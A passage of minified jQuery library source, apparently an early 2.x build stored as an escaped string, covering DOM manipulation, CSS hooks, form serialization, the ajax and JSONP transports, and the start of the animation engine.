this.pushStack(r)}}),x.extend({clone:function(e,t,n){var r,i,o,s,a=e.cloneNode(!0),u=x.contains(e.ownerDocument,e);if(!(x.support.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||x.isXMLDoc(e)))for(s=mt(a),o=mt(e),r=0,i=o.length;i>r;r++)yt(o[r],s[r]);if(t)if(n)for(o=o||mt(e),s=s||mt(a),r=0,i=o.length;i>r;r++)gt(o[r],s[r]);else gt(e,a);return s=mt(a,\"script\"),s.length>0&&dt(s,!u&&mt(e,\"script\")),a},buildFragment:function(e,t,n,r){var i,o,s,a,u,l,c=0,p=e.length,f=t.createDocumentFragment(),h=[];for(;p>c;c++)if(i=e[c],i||0===i)if(\"object\"===x.type(i))x.merge(h,i.nodeType?[i]:i);else if(rt.test(i)){o=o||f.appendChild(t.createElement(\"div\")),s=(nt.exec(i)||[\"\",\"\"])[1].toLowerCase(),a=ct[s]||ct._default,o.innerHTML=a[1]+i.replace(tt,\"<$1></$2>\")+a[2],l=a[0];while(l--)o=o.lastChild;x.merge(h,o.childNodes),o=f.firstChild,o.textContent=\"\"}else h.push(t.createTextNode(i));f.textContent=\"\",c=0;while(i=h[c++])if((!r||-1===x.inArray(i,r))&&(u=x.contains(i.ownerDocument,i),o=mt(f.appendChild(i),\"script\"),u&&dt(o),n)){l=0;while(i=o[l++])at.test(i.type||\"\")&&n.push(i)}return f},cleanData:function(e){var t,n,r,i,o,s,a=x.event.special,u=0;for(;(n=e[u])!==undefined;u++){if(F.accepts(n)&&(o=n[q.expando],o&&(t=q.cache[o]))){if(r=Object.keys(t.events||{}),r.length)for(s=0;(i=r[s])!==undefined;s++)a[i]?x.event.remove(n,i):x.removeEvent(n,i,t.handle);q.cache[o]&&delete q.cache[o]}delete L.cache[n[L.expando]]}},_evalUrl:function(e){return x.ajax({url:e,type:\"GET\",dataType:\"script\",async:!1,global:!1,\"throws\":!0})}});function pt(e,t){return x.nodeName(e,\"table\")&&x.nodeName(1===t.nodeType?t:t.firstChild,\"tr\")?e.getElementsByTagName(\"tbody\")[0]||e.appendChild(e.ownerDocument.createElement(\"tbody\")):e}function ft(e){return e.type=(null!==e.getAttribute(\"type\"))+\"/\"+e.type,e}function ht(e){var t=ut.exec(e.type);return t?e.type=t[1]:e.removeAttribute(\"type\"),e}function dt(e,t){var n=e.length,r=0;for(;n>r;r++)q.set(e[r],\"globalEval\",!t||q.get(t[r],\"globalEval\"))}function gt(e,t){var n,r,i,o,s,a,u,l;if(1===t.nodeType){if(q.hasData(e)&&(o=q.access(e),s=q.set(t,o),l=o.events)){delete s.handle,s.events={};for(i in l)for(n=0,r=l[i].length;r>n;n++)x.event.add(t,i,l[i][n])}L.hasData(e)&&(a=L.access(e),u=x.extend({},a),L.set(t,u))}}function mt(e,t){var n=e.getElementsByTagName?e.getElementsByTagName(t||\"*\"):e.querySelectorAll?e.querySelectorAll(t||\"*\"):[];return t===undefined||t&&x.nodeName(e,t)?x.merge([e],n):n}function yt(e,t){var n=t.nodeName.toLowerCase();\"input\"===n&&ot.test(e.type)?t.checked=e.checked:(\"input\"===n||\"textarea\"===n)&&(t.defaultValue=e.defaultValue)}x.fn.extend({wrapAll:function(e){var t;return x.isFunction(e)?this.each(function(t){x(this).wrapAll(e.call(this,t))}):(this[0]&&(t=x(e,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstElementChild)e=e.firstElementChild;return e}).append(this)),this)},wrapInner:function(e){return x.isFunction(e)?this.each(function(t){x(this).wrapInner(e.call(this,t))}):this.each(function(){var t=x(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){var t=x.isFunction(e);return this.each(function(n){x(this).wrapAll(t?e.call(this,n):e)})},unwrap:function(){return this.parent().each(function(){x.nodeName(this,\"body\")||x(this).replaceWith(this.childNodes)}).end()}});var vt,xt,bt=/^(none|table(?!-c[ea]).+)/,wt=/^margin/,Tt=RegExp(\"^(\"+b+\")(.*)$\",\"i\"),Ct=RegExp(\"^(\"+b+\")(?!px)[a-z%]+$\",\"i\"),kt=RegExp(\"^([+-])=(\"+b+\")\",\"i\"),Nt={BODY:\"block\"},Et={position:\"absolute\",visibility:\"hidden\",display:\"block\"},St={letterSpacing:0,fontWeight:400},jt=[\"Top\",\"Right\",\"Bottom\",\"Left\"],Dt=[\"Webkit\",\"O\",\"Moz\",\"ms\"];function At(e,t){if(t in e)return t;var n=t.charAt(0).toUpperCase()+t.slice(1),r=t,i=Dt.length;while(i--)if(t=Dt[i]+n,t in e)return t;return r}function Lt(e,t){return e=t||e,\"none\"===x.css(e,\"display\")||!x.contains(e.ownerDocument,e)}function qt(t){return e.getComputedStyle(t,null)}function Ht(e,t){var n,r,i,o=[],s=0,a=e.length;for(;a>s;s++)r=e[s],r.style&&(o[s]=q.get(r,\"olddisplay\"),n=r.style.display,t?(o[s]||\"none\"!==n||(r.style.display=\"\"),\"\"===r.style.display&&Lt(r)&&(o[s]=q.access(r,\"olddisplay\",Rt(r.nodeName)))):o[s]||(i=Lt(r),(n&&\"none\"!==n||!i)&&q.set(r,\"olddisplay\",i?n:x.css(r,\"display\"))));for(s=0;a>s;s++)r=e[s],r.style&&(t&&\"none\"!==r.style.display&&\"\"!==r.style.display||(r.style.display=t?o[s]||\"\":\"none\"));return e}x.fn.extend({css:function(e,t){return x.access(this,function(e,t,n){var r,i,o={},s=0;if(x.isArray(t)){for(r=qt(e),i=t.length;i>s;s++)o[t[s]]=x.css(e,t[s],!1,r);return o}return n!==undefined?x.style(e,t,n):x.css(e,t)},e,t,arguments.length>1)},show:function(){return Ht(this,!0)},hide:function(){return Ht(this)},toggle:function(e){return\"boolean\"==typeof e?e?this.show():this.hide():this.each(function(){Lt(this)?x(this).show():x(this).hide()})}}),x.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=vt(e,\"opacity\");return\"\"===n?\"1\":n}}}},cssNumber:{columnCount:!0,fillOpacity:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{\"float\":\"cssFloat\"},style:function(e,t,n,r){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var i,o,s,a=x.camelCase(t),u=e.style;return t=x.cssProps[a]||(x.cssProps[a]=At(u,a)),s=x.cssHooks[t]||x.cssHooks[a],n===undefined?s&&\"get\"in s&&(i=s.get(e,!1,r))!==undefined?i:u[t]:(o=typeof n,\"string\"===o&&(i=kt.exec(n))&&(n=(i[1]+1)*i[2]+parseFloat(x.css(e,t)),o=\"number\"),null==n||\"number\"===o&&isNaN(n)||(\"number\"!==o||x.cssNumber[a]||(n+=\"px\"),x.support.clearCloneStyle||\"\"!==n||0!==t.indexOf(\"background\")||(u[t]=\"inherit\"),s&&\"set\"in s&&(n=s.set(e,n,r))===undefined||(u[t]=n)),undefined)}},css:function(e,t,n,r){var i,o,s,a=x.camelCase(t);return t=x.cssProps[a]||(x.cssProps[a]=At(e.style,a)),s=x.cssHooks[t]||x.cssHooks[a],s&&\"get\"in s&&(i=s.get(e,!0,n)),i===undefined&&(i=vt(e,t,r)),\"normal\"===i&&t in St&&(i=St[t]),\"\"===n||n?(o=parseFloat(i),n===!0||x.isNumeric(o)?o||0:i):i}}),vt=function(e,t,n){var r,i,o,s=n||qt(e),a=s?s.getPropertyValue(t)||s[t]:undefined,u=e.style;return s&&(\"\"!==a||x.contains(e.ownerDocument,e)||(a=x.style(e,t)),Ct.test(a)&&wt.test(t)&&(r=u.width,i=u.minWidth,o=u.maxWidth,u.minWidth=u.maxWidth=u.width=a,a=s.width,u.width=r,u.minWidth=i,u.maxWidth=o)),a};function Ot(e,t,n){var r=Tt.exec(t);return r?Math.max(0,r[1]-(n||0))+(r[2]||\"px\"):t}function Ft(e,t,n,r,i){var o=n===(r?\"border\":\"content\")?4:\"width\"===t?1:0,s=0;for(;4>o;o+=2)\"margin\"===n&&(s+=x.css(e,n+jt[o],!0,i)),r?(\"content\"===n&&(s-=x.css(e,\"padding\"+jt[o],!0,i)),\"margin\"!==n&&(s-=x.css(e,\"border\"+jt[o]+\"Width\",!0,i))):(s+=x.css(e,\"padding\"+jt[o],!0,i),\"padding\"!==n&&(s+=x.css(e,\"border\"+jt[o]+\"Width\",!0,i)));return s}function Pt(e,t,n){var r=!0,i=\"width\"===t?e.offsetWidth:e.offsetHeight,o=qt(e),s=x.support.boxSizing&&\"border-box\"===x.css(e,\"boxSizing\",!1,o);if(0>=i||null==i){if(i=vt(e,t,o),(0>i||null==i)&&(i=e.style[t]),Ct.test(i))return i;r=s&&(x.support.boxSizingReliable||i===e.style[t]),i=parseFloat(i)||0}return i+Ft(e,t,n||(s?\"border\":\"content\"),r,o)+\"px\"}function Rt(e){var t=o,n=Nt[e];return n||(n=Mt(e,t),\"none\"!==n&&n||(xt=(xt||x(\"<iframe frameborder='0' width='0' height='0'/>\").css(\"cssText\",\"display:block !important\")).appendTo(t.documentElement),t=(xt[0].contentWindow||xt[0].contentDocument).document,t.write(\"<!doctype html><html><body>\"),t.close(),n=Mt(e,t),xt.detach()),Nt[e]=n),n}function Mt(e,t){var n=x(t.createElement(e)).appendTo(t.body),r=x.css(n[0],\"display\");return n.remove(),r}x.each([\"height\",\"width\"],function(e,t){x.cssHooks[t]={get:function(e,n,r){return n?0===e.offsetWidth&&bt.test(x.css(e,\"display\"))?x.swap(e,Et,function(){return Pt(e,t,r)}):Pt(e,t,r):undefined},set:function(e,n,r){var i=r&&qt(e);return Ot(e,n,r?Ft(e,t,r,x.support.boxSizing&&\"border-box\"===x.css(e,\"boxSizing\",!1,i),i):0)}}}),x(function(){x.support.reliableMarginRight||(x.cssHooks.marginRight={get:function(e,t){return t?x.swap(e,{display:\"inline-block\"},vt,[e,\"marginRight\"]):undefined}}),!x.support.pixelPosition&&x.fn.position&&x.each([\"top\",\"left\"],function(e,t){x.cssHooks[t]={get:function(e,n){return n?(n=vt(e,t),Ct.test(n)?x(e).position()[t]+\"px\":n):undefined}}})}),x.expr&&x.expr.filters&&(x.expr.filters.hidden=function(e){return 0>=e.offsetWidth&&0>=e.offsetHeight},x.expr.filters.visible=function(e){return!x.expr.filters.hidden(e)}),x.each({margin:\"\",padding:\"\",border:\"Width\"},function(e,t){x.cssHooks[e+t]={expand:function(n){var r=0,i={},o=\"string\"==typeof n?n.split(\" \"):[n];for(;4>r;r++)i[e+jt[r]+t]=o[r]||o[r-2]||o[0];return i}},wt.test(e)||(x.cssHooks[e+t].set=Ot)});var Wt=/%20/g,$t=/\\[\\]$/,Bt=/\\r?\\n/g,It=/^(?:submit|button|image|reset|file)$/i,zt=/^(?:input|select|textarea|keygen)/i;x.fn.extend({serialize:function(){return x.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var e=x.prop(this,\"elements\");return e?x.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!x(this).is(\":disabled\")&&zt.test(this.nodeName)&&!It.test(e)&&(this.checked||!ot.test(e))}).map(function(e,t){var n=x(this).val();return null==n?null:x.isArray(n)?x.map(n,function(e){return{name:t.name,value:e.replace(Bt,\"\\r\\n\")}}):{name:t.name,value:n.replace(Bt,\"\\r\\n\")}}).get()}}),x.param=function(e,t){var n,r=[],i=function(e,t){t=x.isFunction(t)?t():null==t?\"\":t,r[r.length]=encodeURIComponent(e)+\"=\"+encodeURIComponent(t)};if(t===undefined&&(t=x.ajaxSettings&&x.ajaxSettings.traditional),x.isArray(e)||e.jquery&&!x.isPlainObject(e))x.each(e,function(){i(this.name,this.value)});else for(n in e)_t(n,e[n],t,i);return r.join(\"&\").replace(Wt,\"+\")};function _t(e,t,n,r){var i;if(x.isArray(t))x.each(t,function(t,i){n||$t.test(e)?r(e,i):_t(e+\"[\"+(\"object\"==typeof i?t:\"\")+\"]\",i,n,r)});else if(n||\"object\"!==x.type(t))r(e,t);else for(i in t)_t(e+\"[\"+i+\"]\",t[i],n,r)}x.each(\"blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu\".split(\" \"),function(e,t){x.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),x.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)},bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)\n},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\"**\"):this.off(t,e||\"**\",n)}});var Xt,Ut,Yt=x.now(),Vt=/\\?/,Gt=/#.*$/,Jt=/([?&])_=[^&]*/,Qt=/^(.*?):[ \\t]*([^\\r\\n]*)$/gm,Kt=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Zt=/^(?:GET|HEAD)$/,en=/^\\/\\//,tn=/^([\\w.+-]+:)(?:\\/\\/([^\\/?#:]*)(?::(\\d+)|)|)/,nn=x.fn.load,rn={},on={},sn=\"*/\".concat(\"*\");try{Ut=i.href}catch(an){Ut=o.createElement(\"a\"),Ut.href=\"\",Ut=Ut.href}Xt=tn.exec(Ut.toLowerCase())||[];function un(e){return function(t,n){\"string\"!=typeof t&&(n=t,t=\"*\");var r,i=0,o=t.toLowerCase().match(w)||[];if(x.isFunction(n))while(r=o[i++])\"+\"===r[0]?(r=r.slice(1)||\"*\",(e[r]=e[r]||[]).unshift(n)):(e[r]=e[r]||[]).push(n)}}function ln(e,t,n,r){var i={},o=e===on;function s(a){var u;return i[a]=!0,x.each(e[a]||[],function(e,a){var l=a(t,n,r);return\"string\"!=typeof l||o||i[l]?o?!(u=l):undefined:(t.dataTypes.unshift(l),s(l),!1)}),u}return s(t.dataTypes[0])||!i[\"*\"]&&s(\"*\")}function cn(e,t){var n,r,i=x.ajaxSettings.flatOptions||{};for(n in t)t[n]!==undefined&&((i[n]?e:r||(r={}))[n]=t[n]);return r&&x.extend(!0,e,r),e}x.fn.load=function(e,t,n){if(\"string\"!=typeof e&&nn)return nn.apply(this,arguments);var r,i,o,s=this,a=e.indexOf(\" \");return a>=0&&(r=e.slice(a),e=e.slice(0,a)),x.isFunction(t)?(n=t,t=undefined):t&&\"object\"==typeof t&&(i=\"POST\"),s.length>0&&x.ajax({url:e,type:i,dataType:\"html\",data:t}).done(function(e){o=arguments,s.html(r?x(\"<div>\").append(x.parseHTML(e)).find(r):e)}).complete(n&&function(e,t){s.each(n,o||[e.responseText,t,e])}),this},x.each([\"ajaxStart\",\"ajaxStop\",\"ajaxComplete\",\"ajaxError\",\"ajaxSuccess\",\"ajaxSend\"],function(e,t){x.fn[t]=function(e){return this.on(t,e)}}),x.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:Ut,type:\"GET\",isLocal:Kt.test(Xt[1]),global:!0,processData:!0,async:!0,contentType:\"application/x-www-form-urlencoded; charset=UTF-8\",accepts:{\"*\":sn,text:\"text/plain\",html:\"text/html\",xml:\"application/xml, text/xml\",json:\"application/json, text/javascript\"},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:\"responseXML\",text:\"responseText\",json:\"responseJSON\"},converters:{\"* text\":String,\"text html\":!0,\"text json\":x.parseJSON,\"text xml\":x.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?cn(cn(e,x.ajaxSettings),t):cn(x.ajaxSettings,e)},ajaxPrefilter:un(rn),ajaxTransport:un(on),ajax:function(e,t){\"object\"==typeof e&&(t=e,e=undefined),t=t||{};var n,r,i,o,s,a,u,l,c=x.ajaxSetup({},t),p=c.context||c,f=c.context&&(p.nodeType||p.jquery)?x(p):x.event,h=x.Deferred(),d=x.Callbacks(\"once memory\"),g=c.statusCode||{},m={},y={},v=0,b=\"canceled\",T={readyState:0,getResponseHeader:function(e){var t;if(2===v){if(!o){o={};while(t=Qt.exec(i))o[t[1].toLowerCase()]=t[2]}t=o[e.toLowerCase()]}return null==t?null:t},getAllResponseHeaders:function(){return 2===v?i:null},setRequestHeader:function(e,t){var n=e.toLowerCase();return v||(e=y[n]=y[n]||e,m[e]=t),this},overrideMimeType:function(e){return v||(c.mimeType=e),this},statusCode:function(e){var t;if(e)if(2>v)for(t in e)g[t]=[g[t],e[t]];else T.always(e[T.status]);return this},abort:function(e){var t=e||b;return n&&n.abort(t),k(0,t),this}};if(h.promise(T).complete=d.add,T.success=T.done,T.error=T.fail,c.url=((e||c.url||Ut)+\"\").replace(Gt,\"\").replace(en,Xt[1]+\"//\"),c.type=t.method||t.type||c.method||c.type,c.dataTypes=x.trim(c.dataType||\"*\").toLowerCase().match(w)||[\"\"],null==c.crossDomain&&(a=tn.exec(c.url.toLowerCase()),c.crossDomain=!(!a||a[1]===Xt[1]&&a[2]===Xt[2]&&(a[3]||(\"http:\"===a[1]?\"80\":\"443\"))===(Xt[3]||(\"http:\"===Xt[1]?\"80\":\"443\")))),c.data&&c.processData&&\"string\"!=typeof c.data&&(c.data=x.param(c.data,c.traditional)),ln(rn,c,t,T),2===v)return T;u=c.global,u&&0===x.active++&&x.event.trigger(\"ajaxStart\"),c.type=c.type.toUpperCase(),c.hasContent=!Zt.test(c.type),r=c.url,c.hasContent||(c.data&&(r=c.url+=(Vt.test(r)?\"&\":\"?\")+c.data,delete c.data),c.cache===!1&&(c.url=Jt.test(r)?r.replace(Jt,\"$1_=\"+Yt++):r+(Vt.test(r)?\"&\":\"?\")+\"_=\"+Yt++)),c.ifModified&&(x.lastModified[r]&&T.setRequestHeader(\"If-Modified-Since\",x.lastModified[r]),x.etag[r]&&T.setRequestHeader(\"If-None-Match\",x.etag[r])),(c.data&&c.hasContent&&c.contentType!==!1||t.contentType)&&T.setRequestHeader(\"Content-Type\",c.contentType),T.setRequestHeader(\"Accept\",c.dataTypes[0]&&c.accepts[c.dataTypes[0]]?c.accepts[c.dataTypes[0]]+(\"*\"!==c.dataTypes[0]?\", \"+sn+\"; q=0.01\":\"\"):c.accepts[\"*\"]);for(l in c.headers)T.setRequestHeader(l,c.headers[l]);if(c.beforeSend&&(c.beforeSend.call(p,T,c)===!1||2===v))return T.abort();b=\"abort\";for(l in{success:1,error:1,complete:1})T[l](c[l]);if(n=ln(on,c,t,T)){T.readyState=1,u&&f.trigger(\"ajaxSend\",[T,c]),c.async&&c.timeout>0&&(s=setTimeout(function(){T.abort(\"timeout\")},c.timeout));try{v=1,n.send(m,k)}catch(C){if(!(2>v))throw C;k(-1,C)}}else k(-1,\"No Transport\");function k(e,t,o,a){var l,m,y,b,w,C=t;2!==v&&(v=2,s&&clearTimeout(s),n=undefined,i=a||\"\",T.readyState=e>0?4:0,l=e>=200&&300>e||304===e,o&&(b=pn(c,T,o)),b=fn(c,b,T,l),l?(c.ifModified&&(w=T.getResponseHeader(\"Last-Modified\"),w&&(x.lastModified[r]=w),w=T.getResponseHeader(\"etag\"),w&&(x.etag[r]=w)),204===e||\"HEAD\"===c.type?C=\"nocontent\":304===e?C=\"notmodified\":(C=b.state,m=b.data,y=b.error,l=!y)):(y=C,(e||!C)&&(C=\"error\",0>e&&(e=0))),T.status=e,T.statusText=(t||C)+\"\",l?h.resolveWith(p,[m,C,T]):h.rejectWith(p,[T,C,y]),T.statusCode(g),g=undefined,u&&f.trigger(l?\"ajaxSuccess\":\"ajaxError\",[T,c,l?m:y]),d.fireWith(p,[T,C]),u&&(f.trigger(\"ajaxComplete\",[T,c]),--x.active||x.event.trigger(\"ajaxStop\")))}return T},getJSON:function(e,t,n){return x.get(e,t,n,\"json\")},getScript:function(e,t){return x.get(e,undefined,t,\"script\")}}),x.each([\"get\",\"post\"],function(e,t){x[t]=function(e,n,r,i){return x.isFunction(n)&&(i=i||r,r=n,n=undefined),x.ajax({url:e,type:t,dataType:i,data:n,success:r})}});function pn(e,t,n){var r,i,o,s,a=e.contents,u=e.dataTypes;while(\"*\"===u[0])u.shift(),r===undefined&&(r=e.mimeType||t.getResponseHeader(\"Content-Type\"));if(r)for(i in a)if(a[i]&&a[i].test(r)){u.unshift(i);break}if(u[0]in n)o=u[0];else{for(i in n){if(!u[0]||e.converters[i+\" \"+u[0]]){o=i;break}s||(s=i)}o=o||s}return o?(o!==u[0]&&u.unshift(o),n[o]):undefined}function fn(e,t,n,r){var i,o,s,a,u,l={},c=e.dataTypes.slice();if(c[1])for(s in e.converters)l[s.toLowerCase()]=e.converters[s];o=c.shift();while(o)if(e.responseFields[o]&&(n[e.responseFields[o]]=t),!u&&r&&e.dataFilter&&(t=e.dataFilter(t,e.dataType)),u=o,o=c.shift())if(\"*\"===o)o=u;else if(\"*\"!==u&&u!==o){if(s=l[u+\" \"+o]||l[\"* \"+o],!s)for(i in l)if(a=i.split(\" \"),a[1]===o&&(s=l[u+\" \"+a[0]]||l[\"* \"+a[0]])){s===!0?s=l[i]:l[i]!==!0&&(o=a[0],c.unshift(a[1]));break}if(s!==!0)if(s&&e[\"throws\"])t=s(t);else try{t=s(t)}catch(p){return{state:\"parsererror\",error:s?p:\"No conversion from \"+u+\" to \"+o}}}return{state:\"success\",data:t}}x.ajaxSetup({accepts:{script:\"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript\"},contents:{script:/(?:java|ecma)script/},converters:{\"text script\":function(e){return x.globalEval(e),e}}}),x.ajaxPrefilter(\"script\",function(e){e.cache===undefined&&(e.cache=!1),e.crossDomain&&(e.type=\"GET\")}),x.ajaxTransport(\"script\",function(e){if(e.crossDomain){var t,n;return{send:function(r,i){t=x(\"<script>\").prop({async:!0,charset:e.scriptCharset,src:e.url}).on(\"load error\",n=function(e){t.remove(),n=null,e&&i(\"error\"===e.type?404:200,e.type)}),o.head.appendChild(t[0])},abort:function(){n&&n()}}}});var hn=[],dn=/(=)\\?(?=&|$)|\\?\\?/;x.ajaxSetup({jsonp:\"callback\",jsonpCallback:function(){var e=hn.pop()||x.expando+\"_\"+Yt++;return this[e]=!0,e}}),x.ajaxPrefilter(\"json jsonp\",function(t,n,r){var i,o,s,a=t.jsonp!==!1&&(dn.test(t.url)?\"url\":\"string\"==typeof t.data&&!(t.contentType||\"\").indexOf(\"application/x-www-form-urlencoded\")&&dn.test(t.data)&&\"data\");return a||\"jsonp\"===t.dataTypes[0]?(i=t.jsonpCallback=x.isFunction(t.jsonpCallback)?t.jsonpCallback():t.jsonpCallback,a?t[a]=t[a].replace(dn,\"$1\"+i):t.jsonp!==!1&&(t.url+=(Vt.test(t.url)?\"&\":\"?\")+t.jsonp+\"=\"+i),t.converters[\"script json\"]=function(){return s||x.error(i+\" was not called\"),s[0]},t.dataTypes[0]=\"json\",o=e[i],e[i]=function(){s=arguments},r.always(function(){e[i]=o,t[i]&&(t.jsonpCallback=n.jsonpCallback,hn.push(i)),s&&x.isFunction(o)&&o(s[0]),s=o=undefined}),\"script\"):undefined}),x.ajaxSettings.xhr=function(){try{return new XMLHttpRequest}catch(e){}};var gn=x.ajaxSettings.xhr(),mn={0:200,1223:204},yn=0,vn={};e.ActiveXObject&&x(e).on(\"unload\",function(){for(var e in vn)vn[e]();vn=undefined}),x.support.cors=!!gn&&\"withCredentials\"in gn,x.support.ajax=gn=!!gn,x.ajaxTransport(function(e){var t;return x.support.cors||gn&&!e.crossDomain?{send:function(n,r){var i,o,s=e.xhr();if(s.open(e.type,e.url,e.async,e.username,e.password),e.xhrFields)for(i in e.xhrFields)s[i]=e.xhrFields[i];e.mimeType&&s.overrideMimeType&&s.overrideMimeType(e.mimeType),e.crossDomain||n[\"X-Requested-With\"]||(n[\"X-Requested-With\"]=\"XMLHttpRequest\");for(i in n)s.setRequestHeader(i,n[i]);t=function(e){return function(){t&&(delete vn[o],t=s.onload=s.onerror=null,\"abort\"===e?s.abort():\"error\"===e?r(s.status||404,s.statusText):r(mn[s.status]||s.status,s.statusText,\"string\"==typeof s.responseText?{text:s.responseText}:undefined,s.getAllResponseHeaders()))}},s.onload=t(),s.onerror=t(\"error\"),t=vn[o=yn++]=t(\"abort\"),s.send(e.hasContent&&e.data||null)},abort:function(){t&&t()}}:undefined});var xn,bn,wn=/^(?:toggle|show|hide)$/,Tn=RegExp(\"^(?:([+-])=|)(\"+b+\")([a-z%]*)$\",\"i\"),Cn=/queueHooks$/,kn=[An],Nn={\"*\":[function(e,t){var n=this.createTween(e,t),r=n.cur(),i=Tn.exec(t),o=i&&i[3]||(x.cssNumber[e]?\"\":\"px\"),s=(x.cssNumber[e]||\"px\"!==o&&+r)&&Tn.exec(x.css(n.elem,e)),a=1,u=20;if(s&&s[3]!==o){o=o||s[3],i=i||[],s=+r||1;do a=a||\".5\",s/=a,x.style(n.elem,e,s+o);while(a!==(a=n.cur()/r)&&1!==a&&--u)}return i&&(s=n.start=+s||+r||0,n.unit=o,n.end=i[1]?s+(i[1]+1)*i[2]:+i[2]),n}]};function En(){return setTimeout(function(){xn=undefined}),xn=x.now()}function Sn(e,t,n){var r,i=(Nn[t]||[]).concat(Nn[\"*\"]),o=0,s=i.length;for(;s>o;o++)if(r=i[o].call(n,t,e))return r}function jn(e,t,n){var r,i,o=0,s=kn.length,a=x.Deferred().always(function(){delete u.elem}),u=function(){if(i)return!1;var t=xn||En(),n=Math.max(0,l.startTime+l.duration-t),r=n/l.duration||0,o=1-r,s=0,u=l.tweens.length;for(;u>s;s++)l.tweens[s].run(o);return a.notifyWith(e,[l,o,n]),1>o&&u?n:(a.resolveWith(e,[l]),!1)},l=a.promise({elem:e,props:x.extend({},t),opts:x.extend(!0,{specialEasing:{}},n),originalProperties:t,originalOptions:n,startTime:xn||En(),duration:n.duration,tweens:[],createTween:function(t,n){var r=x.Tween(e,l.opts,t,n,l.opts.specialEasing[t]||l.opts.easing);return l.tweens.push(r),r},stop:function(t){var n=0,r=t?l.tweens.length:0;if(i)return this;for(i=!0;r>n;n++)l.tweens[n].run(1);return t?a.resolveWith(e,[l,t]):a.rejectWith(e,[l,t]),this}}),c=l.props;for(Dn(c,l.opts.specialEasing);s>o;o++)if(r=kn[o].call(l,e,c,l.opts))return r;return x.map(c,Sn,l),x.isFunction(l.opts.start)&&l.opts.start.call(e,l),x.fx.timer(x.extend(u,{elem:e,anim:l,queue:l.opts.queue})),l.progress(l.opts.progress).done(l.opts.done,l.opts.complete).fail(l.opts.fail).always(l.opts.always)}function Dn(e,t){var n,r,i,o,s;for(n in e)if(r=x.camelCase(n),i=t[r],o=e[n],x.isArray(o)&&(i=o[1],o=e[n]=o[0]),n!==r&&(e[r]=o,delete e[n]),s=x.cssHooks[r],s&&\"expand\"in s){o=s.expand(o),delete e[r];for(n in o)n in e||(e[n]=o[n],t[n]=i)}else t[r]=i}x.Animation=x.extend(jn,{tweener:function(e,t){x.isFunction(e)?(t=e,e=[\"*\"]):e=e.split(\" \");var n,r=0,i=e.length;for(;i>r;r++)n=e[r],Nn[n]=Nn[n]||[],Nn[n].unshift(t)},prefilter:function(e,t){t?kn.unshift(e):kn.push(e)}});function An(e,t,n){var r,i,o,s,a,u,l=this,c={},p=e.style,f=e.nodeType&&Lt(e),h=q.get(e,\"fxshow\");n.queue||(a=x._queueHooks(e,\"fx\"),null==a.unqueued&&(a.unqueued=0,u=a.empty.fire,a.empty.fire=function(){a.unqueued||u()}),a.unqueued++,l.always(function(){l.always(function(){a.unqueued--,x.queue(e,\"fx\").length||a.empty.fire()})})),1===e.nodeType&&(\"height\"in t||\"width\"in t)&&(n.overflow=[p.overflow,p.overflowX,p.overflowY],\"inline\"===x.css(e,\"display\")&&\"none\"===x.css(e,\"float\")&&(p.display=\"inline-block\")),n.overflow&&(p.overflow=\"hidden\",l.always(function(){p.overflow=n.overflow[0],p.overflowX=n.overflow[1],p.overflowY=n.overflow[2]}));for(r in t)if(i=t[r],wn.exec(i)){if(delete t[r],o=o||\"toggle\"===i,i===(f?\"hide\":\"show\")){if(\"show\"!==i||!h||h[r]===undefined)continue;f=!0}c[r]=h&&h[r]||x.style(e,r)}if(!x.isEmptyObject(c)){h?\"hidden\"in h&&(f=h.hidden):h=q.access(e,\"fxshow\",{}),o&&(h.hidden=!f),f?x(e).show():l.done(function(){x(e).hide()}),l.done(function(){var t;q.remove(e,\"fxshow\");for(t in c)x.style(e,t,c[t])});for(r in c)s=Sn(f?h[r]:0,r,l),r in h||(h[r]=s.start,f&&(s.end=s.start,s.start=\"width\"===r||\"height\"===r?1:0))}}function Ln(e,t,n,r,i){return new Ln.prototype.init(e,t,n,r,i)}x.Tween=Ln,Ln.prototype={constructor:Ln,init:function(e,t,n,r,i,o){this.elem=e,this.prop=n,this.easing=i||\"swing\",this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=o||(x.cssNumber[n]?\"\":\"px\")},cur:function(){var e=Ln.propHooks[this.prop];return e&&e.get?e.get(this):Ln.propHooks._default.get(this)},run:function(e){var t,n=Ln.propHooks[this.prop];return this.pos=t=this.options.duration?x.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):Ln.propHooks._default.set(this),this}},Ln.prototype.init.prototype=Ln.prototype,Ln.propHooks={_default:{get:function(e){var t;return 